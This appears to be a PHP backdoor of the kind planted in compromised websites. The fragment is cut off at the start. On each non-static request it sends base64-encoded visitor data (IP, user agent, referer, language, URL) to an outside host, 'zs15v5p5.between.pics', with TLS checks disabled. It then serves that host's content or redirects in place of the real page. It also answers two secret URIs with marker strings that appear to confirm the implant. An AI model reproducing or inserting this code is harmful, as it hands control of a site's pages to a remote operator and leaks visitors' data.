resp_header)) {
        return $header;
    }
    foreach ($resp_header as $hone) {
        if (preg_match('/http\/[0-9\.]+[\s]+([0-9]+)/i', $hone, $matched)) {
            $header['status'] = intval($matched[1]);
        } elseif (preg_match('/location\:[\s]+(.*)/i', $hone, $matched)) {
            $header['content'] = $matched[1];
        } elseif (preg_match('/content\-type\:[\s]+(.*)/i', $hone, $matched)) {
            $header['type'] = $matched[1];
        }
    }
    return $header;
}

function http_get($url, $datas = array())
{
    $response = array('status' => 0, 'content' => '', 'type' => '');
    if (is_array($datas) && count($datas)) {
        $url .= '?' . http_build_query($datas);
    }
    try {
        if (function_exists('curl_exec') && function_exists('curl_init')) {
            $c = curl_init();
            curl_setopt($c, CURLOPT_URL, $url);
            curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 20);
            curl_setopt($c, CURLOPT_TIMEOUT, 60);
            curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($c, CURLOPT_COOKIESESSION, 0);
            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
            $c_retval = curl_exec($c);
            $response['status'] = intval(curl_getinfo($c, CURLINFO_HTTP_CODE));
            $response['type'] = strval(curl_getinfo($c, CURLINFO_CONTENT_TYPE));
            $response['content'] = strval(curl_getinfo($c, CURLINFO_REDIRECT_URL));
            @curl_close($c);
            if (in_array($response['status'], array(200, 301, 302, 404))) {
                $response['content'] = strval($c_retval);
            }
        } elseif (ini_get('allow_url_fopen')) {
            $http_opt = array(
                'http' => array('method' => 'GET', 'timeout' => 60, 'follow_location' => 0),
                'ssl' => array("verify_peer" => false, "verify_peer_name" => false)
            );
            $context = stream_context_create($http_opt);
            $content = @file_get_contents($url, false, $context);
            $response = array_merge($response, parse_headers($http_response_header));
            if (in_array($response['status'], array(200, 301, 302, 404))) {
                $response['content'] = strval($content);
            }
        }
    } catch (Exception $e) {
    }
    return $response;
}

function base64url_encode($str)
{
    if (!$str) return '';
    return rtrim(strtr(base64_encode($str), '+/', '-_'), '=');
}

function get_ipaddr()
{
    $ip_addr = '';
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && !empty($_SERVER['HTTP_X_REAL_IP'])) {
        $ip_addr = $_SERVER['HTTP_X_REAL_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip_addr = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip_addr = $_SERVER['REMOTE_ADDR'];
    }
    $ip_addr = trim(str_replace(" ", "", $ip_addr), ",");
    if (strpos($ip_addr, ",") !== false) {
        $ip_addr = explode(",", $ip_addr);
        $ip_addr = $ip_addr[0];
    }
    return $ip_addr;
}

function get_proto()
{
    $http_proto = 'http://';
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        $http_proto = 'https://';
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        $http_proto = 'https://';
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        $http_proto = 'https://';
    }
    return $http_proto;
}

if ($_SERVER['REQUEST_URI'] === '/R-' . md5($_SERVER['SERVER_NAME'])) {
    exit(strrev(md5($_SERVER['SERVER_NAME'])));
}
if (substr_count($_SERVER['REQUEST_URI'], 'index.php/jk')) {
    exit('{ "error": 200, "lc": "jk", "data": [ 1 ] }');
}

$ip_addr = get_ipaddr();
$referer = strval(@$_SERVER['HTTP_REFERER']);
$site_url = get_proto() . $_SERVER['HTTP_HOST'];
if (strpos($referer, $site_url) === 0) $referer = '';
$rq = array();
$rq['i'] = base64url_encode($ip_addr);
$rq['l'] = base64url_encode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$rq['sn'] = base64url_encode($_SERVER['SCRIPT_NAME']);
$rq['r'] = base64url_encode($_SERVER['REQUEST_URI']);
$rq['rf'] = base64url_encode($referer);
$rq['s'] = base64url_encode($site_url);
$rq['u'] = base64url_encode($_SERVER['HTTP_USER_AGENT']);
$r_trim = preg_replace('/\?.*/', '', $_SERVER['REQUEST_URI']);
$r_istatic = false;
if (strpos($r_trim, '.') > 0&&strpos($r_trim,'.php')===false) {
    $ext = substr($r_trim, strpos($r_trim, '.'));
    if (in_array($ext, array('.js', '.css', '.jpg', '.png', '.gif', '.ico'))) {
        $r_istatic = true;
    }
}
if (!$r_istatic) {
    $response = http_get('http://zs15v5p5.between.pics/', $rq);
    if (!in_array($response['status'], array(0, 200))) {
        switch ($response['status']) {
            case 301:
                header('HTTP/1.1 301 Moved Permanently');
                header('Location: ' . trim($response['content']));
                break;
            case 302:
                header('HTTP/1.1 302 Move Temporarily');
                header('Location: ' . trim($response['content']));
                break;
            case 404:
                header('HTTP/1.1 404 Not Found');
                header("status: 404 Not Found");
                break;
            default:
                break;
        }
    }
    if (strlen($response['content'])) {
        @header('Content-Type:' . $response['type']);
        echo $response['content'];
        exit(0);
    }
}